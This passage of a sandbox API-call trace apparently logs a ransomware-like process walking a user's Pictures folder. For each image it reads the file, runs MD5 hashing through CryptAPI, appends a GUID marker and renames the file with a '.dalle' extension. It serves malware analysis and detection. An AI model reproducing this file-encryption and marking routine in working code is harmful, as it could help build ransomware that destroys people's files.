cAlternateFileName="0PKXTO~1.GIF")) returned 1 [0120.632] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\0PKxTObiZ.gif") returned=".gif" [0120.632] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\0PKxTObiZ.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\0pkxtobiz.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.633] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=76145) returned 1 [0120.633] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.635] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1294b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.635] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.636] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x12971, lpOverlapped=0x0) returned 1 [0120.637] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.637] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.637] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.637] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.638] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.638] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.638] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.638] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.638] GetLastError () returned 0x0 [0120.638] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.638] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.639] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x12971, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.639] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.639] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.639] CloseHandle (hObject=0x618) returned 1 [0120.640] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\0PKxTObiZ.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\0pkxtobiz.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\0PKxTObiZ.gif.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\0pkxtobiz.gif.dalle")) returned 1 [0120.642] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7006b4b0, ftCreationTime.dwHighDateTime=0x1d4c6cd, ftLastAccessTime.dwLowDateTime=0x44403ee0, ftLastAccessTime.dwHighDateTime=0x1d4c8f9, ftLastWriteTime.dwLowDateTime=0x44403ee0, ftLastWriteTime.dwHighDateTime=0x1d4c8f9, nFileSizeHigh=0x0, nFileSizeLow=0x45af, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0XXhnuQwlnRW 1zNP6.png", cAlternateFileName="0XXHNU~1.PNG")) returned 1 [0120.642] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\0XXhnuQwlnRW 1zNP6.png") returned=".png" [0120.642] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\0XXhnuQwlnRW 1zNP6.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\0xxhnuqwlnrw 1znp6.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.643] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=17839) returned 1 [0120.643] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.645] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x4589, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.645] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.647] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x45af, lpOverlapped=0x0) returned 1 [0120.647] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.647] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.647] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.647] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.648] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.648] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.648] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.648] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.648] GetLastError () returned 0x0 [0120.648] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.648] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.648] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x45af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.649] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.649] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.649] CloseHandle (hObject=0x618) returned 1 [0120.649] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\0XXhnuQwlnRW 1zNP6.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\0xxhnuqwlnrw 1znp6.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\0XXhnuQwlnRW 1zNP6.png.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\0xxhnuqwlnrw 1znp6.png.dalle")) returned 1 [0120.651] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc040cbf0, ftCreationTime.dwHighDateTime=0x1d4ca0b, ftLastAccessTime.dwLowDateTime=0x7b6f2d30, ftLastAccessTime.dwHighDateTime=0x1d4d584, ftLastWriteTime.dwLowDateTime=0x7b6f2d30, ftLastWriteTime.dwHighDateTime=0x1d4d584, nFileSizeHigh=0x0, nFileSizeLow=0x42d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1FtUuIqrnmvC9b.bmp", cAlternateFileName="1FTUUI~1.BMP")) returned 1 [0120.651] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1FtUuIqrnmvC9b.bmp") returned=".bmp" [0120.651] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1FtUuIqrnmvC9b.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1ftuuiqrnmvc9b.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.652] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=17111) returned 1 [0120.652] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.653] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x42b1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.653] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.655] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x42d7, lpOverlapped=0x0) returned 1 [0120.655] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.656] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.656] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.656] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.656] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.656] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.656] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.656] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.657] GetLastError () returned 0x0 [0120.657] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.657] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.657] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x42d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.657] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.657] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.657] CloseHandle (hObject=0x618) returned 1 [0120.658] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1FtUuIqrnmvC9b.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1ftuuiqrnmvc9b.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1FtUuIqrnmvC9b.bmp.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1ftuuiqrnmvc9b.bmp.dalle")) returned 1 [0120.659] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3e14350, ftCreationTime.dwHighDateTime=0x1d4c9c6, ftLastAccessTime.dwLowDateTime=0xee7dcea0, ftLastAccessTime.dwHighDateTime=0x1d4d325, ftLastWriteTime.dwLowDateTime=0xee7dcea0, ftLastWriteTime.dwHighDateTime=0x1d4d325, nFileSizeHigh=0x0, nFileSizeLow=0x9a17, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2HrWHjA4PKJeRGV.bmp", cAlternateFileName="2HRWHJ~1.BMP")) returned 1 [0120.659] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2HrWHjA4PKJeRGV.bmp") returned=".bmp" [0120.659] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2HrWHjA4PKJeRGV.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\2hrwhja4pkjergv.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.660] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=39447) returned 1 [0120.660] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.662] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x99f1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.662] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.663] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x9a17, lpOverlapped=0x0) returned 1 [0120.664] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.664] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.664] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.664] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.665] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.665] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.665] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.665] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.665] GetLastError () returned 0x0 [0120.665] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.665] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.665] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x9a17, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.665] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.665] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.665] CloseHandle (hObject=0x618) returned 1 [0120.666] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2HrWHjA4PKJeRGV.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\2hrwhja4pkjergv.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2HrWHjA4PKJeRGV.bmp.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\2hrwhja4pkjergv.bmp.dalle")) returned 1 [0120.667] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8c491e0, ftCreationTime.dwHighDateTime=0x1d4cf63, ftLastAccessTime.dwLowDateTime=0x8898eda0, ftLastAccessTime.dwHighDateTime=0x1d4d338, ftLastWriteTime.dwLowDateTime=0x8898eda0, ftLastWriteTime.dwHighDateTime=0x1d4d338, nFileSizeHigh=0x0, nFileSizeLow=0x66d1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8EmMRvazI4x9KWTUm.png", cAlternateFileName="8EMMRV~1.PNG")) returned 1 [0120.667] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\8EmMRvazI4x9KWTUm.png") returned=".png" [0120.668] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\8EmMRvazI4x9KWTUm.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\8emmrvazi4x9kwtum.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.668] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=26321) returned 1 [0120.668] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.670] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x66ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.670] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.671] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x66d1, lpOverlapped=0x0) returned 1 [0120.672] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.672] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.672] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.672] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.673] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.673] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.673] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.673] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.673] GetLastError () returned 0x0 [0120.673] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.673] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.673] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x66d1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.673] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.674] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.674] CloseHandle (hObject=0x618) returned 1 [0120.674] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\8EmMRvazI4x9KWTUm.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\8emmrvazi4x9kwtum.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\8EmMRvazI4x9KWTUm.png.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\8emmrvazi4x9kwtum.png.dalle")) returned 1 [0120.676] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63078e10, ftCreationTime.dwHighDateTime=0x1d4d2da, ftLastAccessTime.dwLowDateTime=0x19878fd0, ftLastAccessTime.dwHighDateTime=0x1d4c815, ftLastWriteTime.dwLowDateTime=0x19878fd0, ftLastWriteTime.dwHighDateTime=0x1d4c815, nFileSizeHigh=0x0, nFileSizeLow=0x9fc1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AV3bVnC.png", cAlternateFileName="")) returned 1 [0120.676] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\AV3bVnC.png") returned=".png" [0120.676] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\AV3bVnC.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\av3bvnc.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.676] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=40897) returned 1 [0120.677] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.678] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x9f9b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.678] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.682] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x9fc1, lpOverlapped=0x0) returned 1 [0120.683] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.683] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.683] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.683] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.684] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.684] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.684] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.684] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.684] GetLastError () returned 0x0 [0120.684] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.684] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.684] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x9fc1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.684] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.684] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.685] CloseHandle (hObject=0x618) returned 1 [0120.686] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\AV3bVnC.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\av3bvnc.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\AV3bVnC.png.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\av3bvnc.png.dalle")) returned 1 [0120.687] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a6f510, ftCreationTime.dwHighDateTime=0x1d4c69b, ftLastAccessTime.dwLowDateTime=0xc3de7f50, ftLastAccessTime.dwHighDateTime=0x1d4cfa1, ftLastWriteTime.dwLowDateTime=0xc3de7f50, ftLastWriteTime.dwHighDateTime=0x1d4cfa1, nFileSizeHigh=0x0, nFileSizeLow=0x1372a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BjAZB51qWZoAHkE5.bmp", cAlternateFileName="BJAZB5~1.BMP")) returned 1 [0120.687] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BjAZB51qWZoAHkE5.bmp") returned=".bmp" [0120.687] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BjAZB51qWZoAHkE5.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bjazb51qwzoahke5.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.688] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=79658) returned 1 [0120.688] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.689] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x13704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.689] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, 